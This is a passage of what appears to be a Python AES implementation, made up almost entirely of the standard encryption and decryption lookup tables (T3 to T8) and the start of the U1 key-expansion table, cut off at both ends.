0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ] T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ] T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ] # Transformations for decryption T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ] T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ] T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ] T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ] # Transformations for decryption key expansion U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 